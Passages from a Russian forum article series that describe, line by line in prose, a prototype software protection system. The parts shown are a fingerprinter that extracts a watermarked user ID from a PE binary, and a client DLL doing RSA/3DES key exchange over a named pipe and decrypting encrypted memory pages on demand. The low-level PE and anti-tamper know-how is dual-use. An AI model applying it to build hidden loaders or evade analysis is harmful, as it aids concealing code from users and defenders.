Строка 69 содержит процедуру проверки значения, возвращенного в ходе выполнения функции на строке 68. Если результат проверки успешен, выполняется следующий непосредственно за проверкой блок условного выполнения. Данная проверка проверяет успешность вызова системной функции создания объекта представления файла, если возвращенное значение не равно INVALID_HANDLE_VALUE, вызов функции произведен успешно.
Строка 71 содержит процедуры декларирования и инициализации локальных переменных, применяемых в контексте выполняемого блока, в пределах их видимости, а также вызов внешней системной функции, открывающей доступ к объекту представления файла.
Строка 72 содержит процедуры декларирования и инициализации локальных переменных, а также вызов внешней системной функции, получающей размер файла по его хендлу.
Строка 73 содержи процедуру проверки значения переменной BaseAddr, содержащей значение, полученное в ходе вызова внешней системной функции MapViewOfFile на строке 71, в результате успешного выполнения проверки выполняется следующий непосредственно за процедурой проверки блок условного выполнения. Проверяется данное значение на отличие от нуля - если вызов функции прошел успешно, возвращаемое значение будет содержать адрес представления файла, который не равен нулю.
Строки 75-76 содержат декларацию и инициализацию локальных переменных, используемых в контексте выполняемого блока, в пределах их видимости.
Строка 77 содержит процедуру инициализации и декларации локальной переменной. используемой в контексте выполняемого блока, в пределах ее видимости. Тип переменной - IMAGE_NT_HEADERS*, наименование переменной - inh. Данное значение вычисляется на базе параметров заголовка PE файла, который находится в начале буфера, содержащего образ исполняемого модуля и указывает на заголовок, если архитектура исполняемого файла - 32 битная.
Строка 78 содержит процедуру инициализации и декларации локальной переменной, используемой в контексте выполняемого блока, в пределах ее видимости. Тип переменной - IMAGE_NT_HEADERS64*, наименование переменной - inh2. Данное значение вычисляется на базе параметров заголовка PE файла, который находится в начале буфера, содержащего образ исполняемого модуля и указывает на заголовок, если архитектура исполняемого файла - 64 битная.
Строка 79 содержит процедуру инициализации и декларации локальной переменной, используемой в контексте выполняемого блока, в пределах ее видимости. Тип переменной - IMAGE_SECTION_HEADER*, наименование переменной - ish. Данное значение вычисляется на базе параметров заголовка PE файла, который находится в начале буфера, содержащего образ исполняемого модуля и указывает на таблицу секций заголовка PE файла.
Строка 80 содержит декларацию и инициализацию локальной переменной, используемой в контексте выполняемого блока, в пределах ее видимости, содержащей в результате процедуры сравнения значения типа машины из заголовка PE файла со значением 0x8664 - которое используется в исполняемых файлах, содержащих код для выполнения на 64 битных процессорах.
Строка 81 содержит инициализацию и декларацию локальной переменной, используемой в контексте выполняемого блока, в пределах ее видимости, содержащей вызов внешней системной функции выделения области памяти под буфер, базовый адрес которого является значением инициализации указанной переменной. После выделения памяти указанная к выделению область заполняется нулями.
Строка 82 содержит инициализацию и декларацию локальных переменных, используемых в контексте выполняемого блока, в пределах их видимости.
Строки 83-84 содержат архитектурно зависимый вызов библиотечных функций, копирующих значение адреса загрузки исследуемого файла из представления его заголовка в локальную переменную.
Строка 86 содержит вызов библиотечной функции sqlite3, осуществляющей выполнение ранее подготовленного запроса к базе данных и процедуру проверки возвращаемого значения на соответствие значению SQLITE_ROW - если значение идентично возвращаемому, выполняется следующий непосредственно за проверкой блок условного выполнения.
Строка 88-90 содержат инициализацию и декларацию локальных переменных, используемых в контексте выполняемого блока, в пределах их видимости.
Строка 91 содержит инициализацию и декларацию локальной переменной, используемой в контексте выполняемого блока, в пределах их видимости, а также вызов библиотечной функции sqlite3, получающей значение длины возвращенных в составе выполненного запроса бинарных данных типа BLOB.
Строка 92 содержит инициализацию локальной переменной, используемой в контексте выполняемого блока, в пределах ее видимости, а также вызов внешней системной функции, осуществляющей выделение области памяти под буфер, с заполнением выделенной области нулями.
Строка 93 содержит процедуру проверки значения, возвращенного внешней системной функцией на этапе ее вызова в строке 92 с выполнением непосредственно следующего за процедурой проверки блока условного выполнения. В ходе данной проверки проверяется, не равно ли значение нулю - так как возвращаемое при попытке выделения памяти значение нуля говорит об ошибке в процессе выделения памяти (недостаточность памяти, либо повреждение кучи процесса в результате выполнения операций за пределами буфера.
Строка 95 содержит инициализацию и декларацию локальной переменной, используемой в контексте выполняемого блока, в пределах ее видимости, а также вызов библиотечной функции sqlite3 для получения адреса буфера, содержащего полученный в результате выборки данных объект BLOB.
Строка 96 содержит вызов библиотечной функции, осуществляющей копирование данных, возвращенных библиотечной функцией sqlite3 в буфер, ранее выделенный посредством вызова системной функции.
Строка 97 содержит вызов библиотечной функции sqlite3, освобождающей ресурсы ранее подготовленного запроса к базе данных.
Строка 98 присваивает переменной dbprotect значение переменной lpBin
Строка 99 присваивает переменной dbprotect_size значение переменной fSize.
Строка 106 содержит реализацию проверки значений dbprotect и dbprotect_size на равенство нулю - если обе переменные не равны нулю, выполняется непосредственно следующий за процедурой проверки блок условного выполнения.
Строка 108 содержит декларацию и инициализацию локальной переменной типа R_RSA_PRIVATE_KEY * и наименованием PRIVATE_KEY, служащей для расшифровки данных идентификатора пользователя, зашифрованного посредством алгоритма асимметричного шифрования RSA-1024 публичным ключом, сохраняемым аппликатором в динамически загружаемой библиотеке клиентской части системы цифровой дистрибьюции. Учитывая, что тип данной переменной является типом указателем, его значение рассчитывается путем вычисления смещения от начала буфера, содержащего данные, полученные аппликатором в процессе имплементации системы цифровой дистрибьюции.
Строки 112-116 содержат инициализацию и декларацию локальных переменных, используемых в блоке условного выполнения, в пределах их видимости.
Строки 117-118 содержат реализацию архитектурно-зависимого вычисления количества секций в заголовке исполняемого файла. Данное вычисление зависит от целевой архитектуры исполняемого файла, 32 или 64 битной.
Строка 119 начинает цикл прохода по секциям исполняемого файла, выполняющийся в блоке условного выполнения, непосредственно следующего за строкой формирования цикла.
Строка 121 содержит проверку наличия в атрибутах секции (поле заголовка секции Characteristics) установленных флагов, определяющих нахождение в указанной секции исполняемого кода, а также сравнение имени секции с эталоном “.text”. В случае успешного завершения проверки, выполняется блок условного выполнения, следующий непосредственно за процедурой проверки.
Строка 123 инициализирует структуру библиотеки дизассемблера udis86
Строка 124 устанавливает режим работы библиотеки дизассемблера udis86 в соответствии с установленным ранее свойством архитектуры исследуемого файла.
Строка 125 устанавливает в качестве входного буфера дизассемблера udis86 значение адреса начала проверяемой секции исследуемого исполняемого файла.
Строка 126 содержит процедуру присваивания переменной rawoffset значение указателя на смещение данных проверяемой секции в файле.
Строка 127 содержит процедуру присваивания переменной offset значения смещения секции в образе исполняемого файла при загрузке имиджа в память.
Строки 128-129 содержат архитектурно-зависимую процедуру коррекции значения смещения адреса секции с учетом адреса загрузки исполняемого модуля в память.
Строка 130 начинает выполнение цикла, продолжающегося пока вызов библиотечной функции дизассемблера не перестанет возвращать отличные от нуля значения.
Строка 132 начинает выполнение цикла, продолжающегося определяемое локальной переменной, содержащей количество записей изымаемого из объектного кода, количество раз, цикл начинается с блока условного выполнения, следующего непосредственно за процедурой начала цикла.
Строка 134 реализует проверку соответствия значения смещения записи об изымаемом опкоде смещению проверяемого опкода (под офсет отводится 56 бит). Успешное выполнение проверки инициирует выполнение блока условного выполнения, непосредственно следующего за процедурой проверки.
Строка 136 содержи процедуру вычленения значения опкода из записи об изымаемом опкоде, производится вычленение путем сдвига значения записи на 56 бит вправо.
Строка 137 присваивает локальной переменной found значение 1.
Строка 138 содержит команду прерывания цикла Break
Строка 141 содержит процедуру проверки на равенство локальной переменной found единице. Если результат такого сравнения успешен, выполняется непосредственно расположенный за процедурой проверки блок условного выполнения.
Строка 143 содержит реализацию проверки равенства значения типа первого операнда значению UD_OP_Reg, а также размерности операндов в зависимости от архитектуры исполняемого модуля. По успешному результату сравнения выполняется непосредственно следующий за процедурой проверки блок условного выполнения.
Строки 145-152 содержат реализацию проверки достаточности буфера в динамическом массиве и его своевременное увеличение в случае наличия заполненности.
Строка 153 содержит процедуру сравнения значения мнемоники операнда со значением UD_Push - в случае успешной проверки выполняется непосредственно следующий за процедурой проверки условно выполняемый блок.
Строка 155 содержит процедуру проверки равенства трех бит смещения первого операнда от базового регистра значению, сохраненному в записи опкода - сохраняющему равенство в случае наличия единицы в бите информации, сохраненной в виде состояний указанных опкодов и заменяемому на противоположное значение в случае наличия нуля в бите информации. По результатам проведения проверки, в случае ее успешного завершения, выполняется непосредственно следующий за процедурой проверки блок условного выполнения.
Строка 157 сохраняет единицу в выходной буфер в случае идентичности опкода сохраненному в базе данных значению адреса и индекса операнда - регистра.
Строка 159 содержит процедуру сравнения значения мнемоники операнда со значением UD_Push - в случае успешной проверки выполняется непосредственно следующий за процедурой проверки условно выполняемый блок.
Строка 161 содержит процедуру проверки равенства трех бит смещения второго операнда от базового регистра значению, сохраненному в записи опкода и выполнение по результатам проверки блока условного выполнения, следующего непосредственно за проверкой.
Строка 168 содержит инкремент указателя смещения внутри представления файла образа на длину исследованного опкода.
Строка 169 содержит инкремент указателя смещения внутри виртуального образа имиджа исследуемого исполняемого файла.
Строка 171 содержит команды прекращения цикла break.
Строка 174 содержит вызов внешней системной функции, выполняющей выделение области памяти под буфер, возвращающей значение базового адреса выделенной области памяти, с заполнением буфера значениями нулей.
Строка 175 содержит процедуру вычисления значения длины выделенной памяти.
Строка 176 содержит процедуру проверки равенства значения локальной переменной decrypted нулю - таким образом, если значение переменной равно нулю, вызов внешней системной функции был неудачен, в результате чего необходимо прекратить выполнение фингерпринтера.
Строка 178 содержит вызов библиотечной функции RSAREF, выполняющей расшифровку буфера приватным ключом.
Строка 179 содержит процедуру проверки значения, возвращаемого в результате вызова библиотечной функции в строке 178 на наличие нуля - в случае отсутствия нуля в указанной переменной выполняется блок условного выполнения, непосредственно следующий за процедурой проверки.
Строка 181 содержит декларацию и инициализацию локальной переменной, используемой в контексте выполняемого блока, в пределах ее видимости.
Строка 182 начинает выполнение цикла, пробегающего расшифрованный буфер с шагом, равным 128 байтам (длина буфера под шифрование открытым ключом в алгоритме RSA-1024) в блоке условного выполнения, начинающемся непосредственно после процедуры начала цикла.
Строка 184 содержит вызов библиотечной функции, копирующей содержимое расшифрованного участка буфера в переменную userid.
Строка 185 содержит вывод информации о расшифрованном участке памяти в консоль.
Строка 187 содержит вызов внешней системной функции, освобождающей выделенную ранее область памяти.
Строка 188 содержит вызов внешней системной функции, освобождающей выделенную ранее область памяти.
Строка 189 выводит на консоль текущий статус выполнения фингерпринтера.
Строка 192 содержит обработчик исключений, выводящий в консоль соответствующее сообщение.
Строка 193 прекращает выполнение фингерпринтера по причине наличия ошибки.
Строка 197 содержит обработчик исключений, выводящий в консоль соответствующее сообщение.
Строка 198 прекращает выполнение фингерпринтера по причине наличия ошибки.
Строма 201 содержит вызов внешней системной функции, освобождающей диапазон выделенной под доступ к объекту представления файла памяти
Строка 202 содержит вызов внешней системной функции, закрывающий хендл на объект представления.
Строка 203 содержит вызов внешней системной функции, закрывающий хендл на файловый объект.
Строка 206 содержит обработчик исключений, выводящий информацию о событии исключения в консоль.
Строка 207 прерывает выполнение фингерпринтера в связи с наличием исключения, возвращая код исключения 1
Строка 211 содержит обработчик исключений, выводящий информацию о событии исключения в консоль.
Строка 212 прерывает выполнение фингерпринтера в связи с наличием исключения, возвращая код исключения 1
Строка 216 содержит обработчик исключений, выводящий информацию о событии исключения в консоль.
Строка 217 прерывает выполнение фингерпринтера в связи с наличием исключения, возвращая код исключения 1
Строка 219 завершает выполнение функции, возвращая код 0

Функция Rva2Raw(), трансляция виртуального смещения в файловое смещение

Данная функция транслирует адреса внутри имиджа PE файла из относительного смещения внутри образа в абсолютное внутри файла.
Данная функция принимает на входе следующие параметры:

  1. Тип переменной - short, наименование переменной - NumOfSections, содержит количество секций из заголовка PE файла
  2. Тип переменной - IMAGE_SECTION_HEADER*, наименование переменной - FSH, содержит указатель на таблицу секций заголовка PE
  3. Тип переменной - int. наименование переменной - rva, содержит смещение в виртуальном образе имиджа файла, формируемого при загрузке в память системным загрузчиком.

Строка 224 инициализирует локальную переменную, используемую в данной функции.
Строка 225 выполняет процедуру проверки значения переменной rva, передаваемой на вход функции, не меньше ли оно, чем смещение первой по счету секции в виртуальном адресном пространстве процесса. Смещения секций в заголовке PE обычно размещаются сквозным порядком, от меньшего смещения к большему - в связи с чем, имеется возможность проверить, не является ли передаваемое значение смещения не относящимся к секциям, а, например, к заголовкам.
Строка 226 начинает цикл прохода по секциям с целью выявления секции, к котором относится транслируемое смещение - после чего возвращает найденное абсолютное смещение указанной секции с прибавлением разницы между началом смещения секции и проверяемым смещением.
Строка 227 возвращает значение 0xFFFFFFFF если смещение в секциях не обнаружено.

Функция Raw2Rva(), трансляция файлового смещения в виртуальное

Данная функция транслирует адреса внутри файла в относительные смещения внутри образа файла при его загрузке на выполнение.
Данная функция принимает на входе следующие параметры:

  1. Тип переменной - short, наименование переменной - NumOfSections, содержит количество секций из заголовка PE файла
  2. Тип переменной - IMAGE_SECTION_HEADER*, наименование переменной - FSH, содержит указатель на таблицу секций заголовка PE
  3. Тип переменной - int. наименование переменной - rva, содержит смещение в виртуальном образе имиджа файла, формируемого при загрузке в память системным загрузчиком.

Строка 232 инициализирует и декларирует локальную переменную, используемую в данной функции.
В случае наличия в таблице секций искомого смещения, оно возвращается, в противном случае возвращается значение 0xFFFFFFFF
Работа данной функции прямо противоположна работе функции Rva2Raw, описанной выше, в связи с чем построчный комментарий отсутствует.

Система цифровой дистрибьюции. Часть 3. Клиентская часть
ID: 676536fbb4103b69df373883
Thread ID: 46971
Created: 2021-01-19T09:00:24+0000
Last Post: 2021-01-19T09:00:24+0000
Author: Profense
Prefix: Статья
Replies: 0 Views: 1K

**СИСТЕМА ЦИФРОВОЙ ДИСТРИБЬЮЦИИ ПРОГРАММНОГО ОБЕСПЕЧЕНИЯ
ЧАСТЬ 3. КЛИЕНТСКАЯ ЧАСТЬ

ВВЕДЕНИЕ**
Исходный код прототипа системы цифровой дистрибьюции “digidist” доступен на условиях лицензии MIT и размещен в публичном репозитории на Github по адресу https://github.com/fxsecltd/pfsdk-digidist.
Исходный код, рассматриваемый в данной статье, доступен по адресу https://github.com/fxsecltd/pfsdk-digidist/blob/main/libprotect/libprotect.c и содержит реализацию динамически загружаемой библиотеки libprotect. Помимо реализации динамически загружаемой библиотеки libprotect данная статья содержит описание лаунчера, относимого, скорее, в клиентской, нежели чем к серверной части.
В программной реализации клиентской части системы цифровой дистрибуции программного обеспечения мы используем сторонние компоненты, доступных под лицензией, позволяющей их использование в любых производных проектах без обязанности публикации исходных кодов.
Первым внешним компонентом будет движок базы данных sqlite3, подключаемый в проект в виде amalgamation файла..
Дополнительной статьей в данном цикле статей будет статья относительно стратегий и тактик применения цифровой системы дистрибьюции в различных сферах и различных ролях.

**NB! Нумерация строк в описании содержимого функций во второй, третьей и четвертой частях статьи идентична нумерации строк в исходниках, размещенных в репозитории. Если есть необходимость добавить скриншоты с описываемыми частями функций прямо в текст статьи, просьба написать в комментариях, с удовольствием добавлю.

НАЗНАЧЕНИЕ КОМПОНЕНТА БИБЛИОТЕКИ КЛИЕНТСКОЙ ЧАСТИ**

Компонент клиентской части системы цифровой дистрибьюции программного обеспечения предназначен для бесшовной интеграции процедуры дистрибьюции с практически любым нативным исполняемым файлом. архитектура исполняемого файла в данном случае значения не имеет.
В процессе работы аппликатора системы цифровой дистрибьюции динамически загружаемая библиотека клиентской части модифицируется под конкретный экземпляр контролируемого программного обеспечения (в части настройки адресов и смещений непосредственно в модулях с учетом корректоров - содержащих маркеры, по которым данные корректоры заменяются на необходимые фактически значения.
При получении управления при загрузке контролируемого программного обеспечения происходит загрузка динамически загружаемой библиотеки, которая при инициализации (вызовах dllMain) не производит практически никаких действий, кроме сохранения идентификаторов запускаемых и прекращаемых потоков. После вызова функции initialize(), экспортируемой динамически загружаемой библиотекой клиентской части системы цифровой дистрибьюции управление передается на точку входа в оригинальное программное обеспечение (в процессе выполнения функции initialize происходит обмен данными с сервером, присылающим необходимые данные по импортируемым функциям, а также ключи для расшифровки страниц имиджа (учитывающие текущие значения идентификаторов процесса и процессора, участвующих в процессе привязки ключа, делающих невозможным исполнение атак типа replay.

НАЗНАЧЕНИЕ КОМПОНЕНТА ЛАУНЧЕРА ПРОТОТИПА

Компонент прототипа лаунчера клиентской части предназначен исключительно для демонстрации возможностей системы цифровой дистрибьюции, своего рода Proof Of Concept (доказательство концепции).
В процессе запуска лаунчер принимает на вход путь к файлу с наложенной системой цифровой дистрибьюции, путь к файлу с базой данных для запуска контролируемого файла, наименование пайпа, через который процесс контролируемого программного обеспечения будет направлять запросы серверной части.
По получении параметров лаунчер открывает именованный пайп в серверном режиме. После открытия именованного пайпа лаунчер создает процесс выполнения файла с наложенной системой цифровой дистрибьюции и ожидает подключения к пайпу клиентов. В свою очередь, после такого подключения лаунчер получает блину сообщения клиентской части, передаваемую в первых 4 байтах сообщения, после чего сам запрос, длиною в количество байт, переданное в начале пакета. После получения пакета данная длина пакета и его содержимое передаются в функцию, экспортируемую динамически загружаемой библиотекой personifier.dll и измеряет время выполнения каждого запроса. После возвращения управления из функции библиотеки серверной части, длина ответа и ответ серверной части направляются клиентской части через именованный пайп, причем сперва посылается значение длины ответа размером 4 байта, после чего само тело ответа. В случае ошибки чтения на любом из этапов выполнение лаунчера прекращается, в консоль выводится соответствующее сообщение об ошибке.
В данном прототипе предусмотрена только разовая обработка связи клиентской части с серверной - тогда как в продакшн версии может быть предусмотрена периодическая связь серверной части с клиентской, либо различные режимы инициализации такого общения - от клиента серверу и от сервера клиенту.
Дополнительно, именованный пайп в данном прототипе использован исключительно для наглядности пояснения возможностей работы системы цифровой дистрибьюции - в продакшн версии удобнее всего заменить его на работу по протоколу tcpip через сокеты - при этом, исходящие соединения разрешены без каких-либо дополнительных разрешений на любых уровнях привилегий - что выгодно отличает инициацию клиентом соединений к серверу.
Изменение протокола обмена между серверной и клиентской частью может повысить скорость обработки процедур обмена ключами (в случае замены асимметричного алгоритма RSA на асимметричный алгоритм на базе ECDSA и эллиптической кривой secp256k1 - авторская реализация которой позволяет ускорить время на выполнения скалярного умножения в конечном поле от 8 до 16 раз). Также может быть оптимизирована привязка обмена данными к per-process или per-machine параметрам, то есть, своего рода более жесткий биндинг к ресурсам.

**СТРУКТУРА ФУНКЦИЙ БИБЛИОТЕКИ КЛИЕНТСКОЙ ЧАСТИ ПРОЕКТА

Функция DllMain(), точка входа в динамически загружаемую библиотеку**

Данная функция принимает на вход следующие параметры:

  1. Тип переменной - HMODULE, название переменной - hModule, содержит базовый адрес, по которому библиотека загружена в процесс системным загрузчиком
  2. Тип переменной - DWORD, название переменной - ul_reason_for_call, содержит признак вызова данной функции системным загрузчиком (различен при различных поводах для такого вызова - при загрузке библиотеки в процесс, при запуске нового потока процесса, при завершении потока процесса, при выгрузке библиотеки из процесса в связи с его завершением.
  3. Тип переменной - LPVOID, название переменной - lpReserved, зарезервировано для будущего использования системным загрузчиком.

Строки 54-55 инициализируют и декларируют локальные переменные, используемые в процессе выполнения функции.
Строка 56 содержит блок условного выполнения с несколькими вариантами, исполнение которых зависит от передаваемого функции параметра ul_reason_for_call.
Строка 58 содержит блок условного выполнения, исполняемый в случае равенства параметра ul_reason_for_call значению DLL_PROCESS_ATTACH, выполняется код на строках 59-63.
Строка 59 инициализирует глобально доступную переменную gInst значением передаваемой переменной hModule - учитывая, что этот блок условного выполнения вызывается при загрузке клиентской библиотеки в процесс, данный параметр может быть сохранен для последующего использования в ситуациях, требующих наличия базового адреса загрузки библиотеки в адресном пространстве контролируемого процесса.
Строка 60 инициализирует глобально доступную переменную hMutex значением создаваемого объекта синхронизации HMUTEX - который служит для обеспечения синхронизации потоков контролируемого приложения в процессе обработки шифрования страниц памяти.
Строка 61 инициализирует динамический массив для хранения идентификаторов потоков, работающих в контролируемом процессе путем выделения области памяти для использования в качестве буфера динамического массива. Значение длины динамического массива при его инициализации - 1024 элемента размером DWORD
Строка 62 инициализирует первую запись динамического массива, содержащего идентификаторы потоков контролируемого процесса записью идентификатора выполняемого в данное время потока через вызов системной функции GetThreadId(), увеличивая указатель на следующий свободный элемент динамического массива идентификаторов потоков процесса, сохраняемый в переменной thcCount, доступной глобально.
Строка 63 содержит команду прерывания блока условного выполнения break
Строка 64 содержит блок условного выполнения, исполняемый в случае равенства параметра ul_reason_for_call значению DLL_THREAD_ATTACH, выполняется код на строках 65-77
Строка 65 содержит вызов внешней системной функции синхронизации исполнения, обеспечивающий монопольный доступ к объекту синхронизации вызывающему данную функцию потоку либо ожидание освобождения объекта синхронизации на уровне планировщика квантов времени выполнения потоков, обеспечивая эффективное использование процессорного времени ожидающими в состоянии сна потоками, не увеличивая значение расхода CPU
Строки 66-74 содержат код, выполняющий проверку заполненности динамического массива, содержащего идентификаторы потоков выполняемого процесса и удвоение размера буфера в случае такого заполнения. Процедура контроля помимо реаллокации буфера динамического массива производит копирование элементов заполненного буфера в новый буфер и освобождение памяти, выделенной ранее под заполненный буфер.
Строка 75 сохраняет идентификатор созданного потока в динамическом массиве идентификаторов потоков контролируемого процесса и увеличивает на единицу указатель следующего свободного элемента в динамическом массиве идентификаторов.
Строка 76 освобождает объект синхронизации, позволяя другим потокам обращаться к динамическому массиву идентификаторов потоков в безопасном режиме, исключающем двойную запись в динамический массив.
Строка 77 содержит команду прерывания блока условного выполнения break
Строка 78 содержит блок условного выполнения, исполняемый в случае равенства параметра ul_reason_for_call значению DLL_THREAD_DETACH, выполняется код на строках 79-93
Строка 79 содержит вызов внешней системной функции синхронизации исполнения, обеспечивающий монопольный доступ к объекту синхронизации вызывающему данную функцию потоку либо ожидание освобождения объекта синхронизации на уровне планировщика квантов времени выполнения потоков, обеспечивая эффективное использование процессорного времени ожидающими в состоянии сна потоками, не увеличивая значение расхода CPU.
Строка 80 получает значение идентификатора текущего потока и сохраняет его в переменной tId путем вызова внешней системной функции GetCurrentThreadId()
Строка 81 начинает цикл обхода элементов динамического массива идентификаторов потоков, выполняющихся в контролируемом процессе.
Строка 83 содержит блок условного выполнения, исполняющийся в случае равенства просматриваемого в данный момент элемента динамического массива идентификаторов потока текущему идентификатору потока.
Строки 85-88 содержат реализацию выполнения цикла, выполняющегося при равенстве элемента текущей записи динамического массива идентификаторов потока идентификатору текущего потока с целью удаления такой записи из динамического массива и копированию на его место следующих элементов динамического массива, с соответствующим уменьшением на единицу указателя на следующий свободный элемент динамического массива идентификаторов потоков.
Строка 89 обнуляет значение предыдущего последнего элемента динамического массива идентификаторов потока контролируемого процесса с соответствующим декрементов указателя на первый свободный элемент такого массива.
Строка 92 освобождает объект синхронизации, позволяя другим потокам обращаться к динамическому массиву идентификаторов потоков в безопасном режиме, исключающем двойную запись в динамический массив.
Строка 93 содержит команду прерывания блока условного выполнения break
Строка 94 содержит блок условного выполнения, исполняемый в случае равенства параметра ul_reason_for_call значению DLL_THREAD_DETACH, выполняется код на строках 95-97
Строка 95 содержит вызов внешней системной функции освобождения ранее выделенной под буфер динамического массива оперативной памяти.
Строка 96 содержит вызов внешней системной функции закрытия хендла объекта синхронизации HMUTEX
Строка 99 содержит выполнение команды возврата значения функции, всегда возвращающей истину.

Функция SendRequestAndWaitReply(), функция связи клиента и сервера

Данная функция предназначена для реализации протокола интерактирования между клиентской и серверной частями системы цифровой дистрибьюции, по аналогии с TLS/SSL в части безопасного обмена ключами.
Данная функция принимает на вход следующие параметры:

  1. Тип переменной - char *, название переменной - request, содержит указатель на отправляемый серверной части запрос.
  2. Тип переменной - int, название переменной - requestLength, содержит длину буфера, содержащего запрос клиентской части серверу, адрес которого передается в параметре request
  3. Тип переменной - char **, название переменной - reply, содержит указатель на область памяти, в которой возвращается ответ сервера, выделяется эта память внутри процедуры, подлежит освобождению после использования
  4. Тип переменной - int *, название переменной - replylength, содержит указатель на переменную, получающую длину буфера с ответом сервера
  5. Тип переменной - HANDLE, название переменной - hPipe, хендл открытого именованного пайпа, обеспечивающего связь между сервером и клиентом.

Данная функция возвращает код завершения процедуры установления связи между клиентом и сервером.
Строка 104 декларирует и инициализирует переменную, содержащую публичный ключ алгоритма RSA значением ключа, сохраняемого в ресурсах клиентской библиотеки посредством вызова функции GetKeyFromResource()
Строки 105-110 декларируют и инициализируют локальные переменные, используемые в пределах видимости функции.
Строка 111 вызывает функцию InitRandomStruct(), заполняя необходимые для работы алгоритмов библиотеки RSAREF структуры конгруэнтного генератора случайных чисел.
Строка 112 устанавливает параметры используемого для шифрования взаимодействия между клиентской и серверной частью соединения сеансового шифрования (симметричное шифрование, вносящее минимальный по сравнению с применением асимметричного шифрования оверхед) - в данном случае используется 3DES в режиме CBC
Строка 113 устанавливает длину ключа в байтах
Строка 114 вычисляет размер памяти, необходимой для обмена ключами и передачи переданного в параметрах буфера, содержащего запрос клиентской части к серверной части
Строки 115-116 содержат вызовы библиотечной функции RSAREF для генерации случайных данных, используемых в качестве симметричного ключа и начальной последовательности.
Строка 117 содержит вызов библиотечной функции RSAREF для инициализации контекста для сеансового шифрования между клиентской и серверной частью
Строка 118 вызывает внешнюю системную функцию выделения области памяти под буфер для отправки запроса серверу и передачи серверу сеансовых ключей с указанием флага HEAP_ZERO_MEMORY, указывающего на необходимость обнуления выделяемой области памяти после ее выделения.
Строка 119 сохраняет значение длины публичного ключа в байтах, определяющего длину зашифрованного по алгоритму RSA буфера
Строка 120 вызывает внешнюю системную функцию выделения области памяти под буфер для хранения зашифрованной асимметричным алгоритмом шифрования данных запроса клиентской части к серверной части с указанием флага HEAP_ZERO_MEMORY, указывающего на необходимость обнуления выделяемой области памяти после ее выделения.
Строки 121-123 содержат вызовы библиотечных функций, формирующие в памяти буфер, содержащий сеансовые ключи и передаваемый клиентской частью к серверной части буфер с данными.
Строка 124 содержит вызов библиотечной функции RSAREF, осуществляющей шифрование передаваемого буфера открытым ключом по алгоритму RSA
Строка 125 содержит вызов внешней системной функции отправки данных по именованному пайпу серверной части от клиентской части. Вначале передается длина передаваемого пакета данных (4 байта)
Строка 126 содержит вызов внешней системной функции отправки данных по именованному пайпу серверной части от клиентской части. После передачи длины передаваемого пакета данных передается буфер, содержащий сами данные, длиной, не превышающей отправленного серверной части пакета с длиной данных в процессе выполнения строки 125
Строки 127-129 освобождают выделенную под обмен данными память путем вызова внешней системной функции освобождения памяти
Строка 130 определяет исполнение условно выполняемого блока, исполнение которого зависит от результата приема данных от серверной части через именованный пайп, в данном вызове внешней системной функции ReadFile из пайпа читается 4 байта в переменную, определяющую длину пришедшего от сервера зашифрованного ответа.
Строка 132 выделяет память под пришедший от сервера ответ на запрос клиентской части, в размере, полученном в строке 130.
Строка 133 производит чтение зашифрованного буфера, пришедшего от серверной части в ответ на запрос клиентской части и определяет исполнение условного блока выполнения в строках 135-138, либо, в случае неудачного чтения, исполнение блока условного выполнения в строках 141-142
Строка 135 выделяет необходимое количество памяти для расшифровки полученного ответа серверной части. сохраняя адрес выделенного буфера в переменной, переданной функции при ее вызове.
Строка 136 сохраняет длину полученного от сервера сообщения в параметре, переданном функции.
Строка 137 производит вызов библиотечной функции расшифровки по симметричному алгоритму
Строка 138 вызывает внешнюю системную функцию, освобождающую выделенную ранее область памяти под зашифрованный буфер
Строка 141 вызывает внешнюю системную функцию освобождения памяти, выделенной под прием зашифрованного буфера
Строка 142 возвращает код неудачного завершения функции - -2
Строка 147 возвращает код неудачного завершения функции - -1

Функция GetKeyFromResource(), получение паблик ключа из ресурсов

Данная функция предназначена для получения публичного ключа RSA из ресурсов библиотеки, с целью реализации безопасного обмена ключами между клиентской и серверной частью.
Данная функция не принимает на вход никаких параметров.
Данная функция возвращает адрес области памяти с содержимым ресурса, полученного из ресурсов библиотеки клиентской части.
Строки 154-157 декларируют и инициализируют локальные переменные, используемые функцией в пределах ее видимости.
Строка 158 содержит вызов внешней системной функции, осуществляющей поиск ресурса в имидже исполняемого модуля по передаваемым ей базовому адресу модуля, имени и типа ресурса, подлежащего поиску.
Строка 159 обрабатывает неудачный вызов функции в строке 158.
Строка 160 содержит вызов внешней системной функции, осуществляющей загрузку найденного ранее ресурса исполняемого модуля и сохранение адреса ресурса в переменной.
Строка 161 обрабатывает неудачное завершение функции загрузки адреса найденного ресурса исполняемого модуля.
Строка 162 содержит вызов внешней системной функции, осуществляющей получение размера ресурса, найденного в ресурсах исполняемого модуля и сохранение полученной длины ресурса в локальной переменной.
Строка 163 содержит вызов внешней системной функции, осуществляющей получение фиксированного адреса загруженного ресурса, найденного в ресурсах исполняемого модуля,
Строка 164 обрабатывает ситуацию неуспешного вызова функции на строке 163
Строка 165 содержит вызов внешней системной функции, осуществляющей выделение области памяти под буфер для возвращения содержимого найденных ресурсов с указанием флага HEAP_ZERO_MEMORY, указывающего на необходимость обнуления выделяемой области памяти после ее выделения..
Строка 166 содержит вызов библиотечной функции, копирующей данные найденного ресурса в выделенный в строке 165 буфер в выделенной для него памяти.
Строка 167 содержит вызов внешней системной функции, снимающей блокировку с области памяти, выделенной под содержимое ресурса.
Строка 168 содержит вызов внешней системной функции, освобождающей данные ресурса, обнаруженного в ресурсах исполняемого модуля.
Строка 169 возвращает результат выполнения функции.

Функция InitRandomStruct(), библиотечная функция RSAREF

Данная функция служит для формирования параметров конгруэнтного генератора случайных чисел в процессе работы процедур шифрования.
Строки 175-176 инициализируют и декларируют локальные переменные, используемые в данной функции
Строка 177 использует вызов встроенной функции __rdtsc() (декларируемых в файле intrinsic.h и транслируемых в вызов ассемблерной инструкции rdtsc - возвращающей значение счетчика тактов с момента загрузки процессора, которое может быть использовано в качестве seed значения для работы конгруэнтного генератора случайных чисел).
Строка 178 вызывает библиотечную функцию библиотеки RSAREF, инициализирующую структуру RANDOM_STRUCT, передаваемую в качестве параметра.
Строки 183-189 содержат цикл, выполняемый до достижения необходимого количества случайных данных, после чего цикл прерывается и функция возвращает необходимым образом инициализированное значение структуры, переданной в качестве параметра.

Функция NoAccessHandler(), обработчик шифрования страниц памяти

Данная функция обеспечивает обработку исключений, вызываемых при обращении потоков выполнения на зашифрованные страницы памяти процесса и их динамическую расшифровку.
Данная функция обладает прототипом определенного в документации операционной системы Windows векторного обработчика исключений и получает на вход следующие параметры, требуемые для такого типа обработчиков:

